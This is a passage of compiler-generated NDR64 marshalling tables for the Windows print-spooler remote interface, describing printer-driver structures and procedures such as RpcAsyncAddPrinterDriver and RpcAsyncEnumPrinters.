(NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag565_t __midl_frag565 =\n{ \n/* *RPC_DRIVER_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag566\n};\n\nstatic const __midl_frag564_t __midl_frag564 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    }\n};\n\nstatic const __midl_frag552_t __midl_frag552 =\n{ \n/* RPC_DRIVER_INFO_3 */\n    { \n    /* RPC_DRIVER_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */,\n        0,\n        0,\n        &__midl_frag564,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag551_t __midl_frag551 =\n{ \n/* *RPC_DRIVER_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag552\n};\n\nstatic const __midl_frag550_t __midl_frag550 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    }\n};\n\nstatic const __midl_frag544_t __midl_frag544 =\n{ \n/* DRIVER_INFO_2 */\n    { \n    /* DRIVER_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DRIVER_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */,\n        0,\n        0,\n        &__midl_frag550,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag543_t __midl_frag543 =\n{ \n/* *DRIVER_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag544\n};\n\nstatic const __midl_frag538_t __midl_frag538 =\n{ \n/* __MIDL_IRemoteWinspool_0007 */\n    { \n    /* __MIDL_IRemoteWinspool_0007 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag797,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 6 /* 0x6 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag758,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag543,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag551,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag565,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag582,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 8 /* 0x8 */,\n        &__midl_frag603,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag537_t __midl_frag537 =\n{ \n/* DRIVER_CONTAINER */\n    { \n    /* DRIVER_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DRIVER_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag538\n        },\n        { \n        /* DRIVER_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag536_t __midl_frag536 =\n{ \n/* *DRIVER_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag537\n};\n\nstatic const __midl_frag533_t __midl_frag533 =\n{ \n/* RpcAsyncAddPrinterDriver */\n    { \n    /* RpcAsyncAddPrinterDriver */      /* procedure RpcAsyncAddPrinterDriver */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDriverContainer */      /* parameter pDriverContainer */\n        &__midl_frag537,\n        { \n        /* pDriverContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* dwFileCopyFlags */      /* parameter dwFileCopyFlags */\n        &__midl_frag948,\n        { \n        /* dwFileCopyFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag518_t __midl_frag518 =\n{ \n/* RpcAsyncEnumPrinters */\n    { \n    /* RpcAsyncEnumPrinters */      /* procedure RpcAsyncEnumPrinters */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag948,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag942,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterEnum */      /* parameter pPrinterEnum */\n        &__midl_frag829,\n        { \n        /* pPrinterEnum */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag516_t __midl_frag516 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag515_t __midl_frag515 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag516\n};\n\nstatic const __midl_frag514_t __midl_frag514 =\n{ \n/* RpcAsyncDeletePrinterIC */\n    { \n    /* RpcAsyncDeletePrinterIC */      /* procedure RpcAsyncDeletePrinterIC */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phPrinterIC */      /* parameter phPrinterIC */\n        &__midl_frag516,\n        { \n        /* phPrinterIC */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag507_t __midl_frag507 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag742\n};\n\nstatic const __midl_frag505_t __midl_frag505 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag504_t __midl_frag504 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag503_t __midl_frag503 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag504\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag505\n    }\n};\n\nstatic const __midl_frag502_t __midl_frag502 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag503\n};\n\nstatic const __midl_frag501_t __midl_frag501 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag500_t __midl_frag500 =\n{ \n/* RpcAsyncPlayGdiScriptOnPrinterIC */\n    { \n    /* RpcAsyncPlayGdiScriptOnPrinterIC */      /* procedure RpcAsyncPlayGdiScriptOnPrinterIC */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinterIC */      /* parameter hPrinterIC */\n        &__midl_frag501,\n        { \n        /* hPrinterIC */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pIn */      /* parameter pIn */\n        &__midl_frag503,\n        { \n        /* pIn */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cIn */      /* parameter cIn */\n        &__midl_frag948,\n        { \n        /* cIn */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            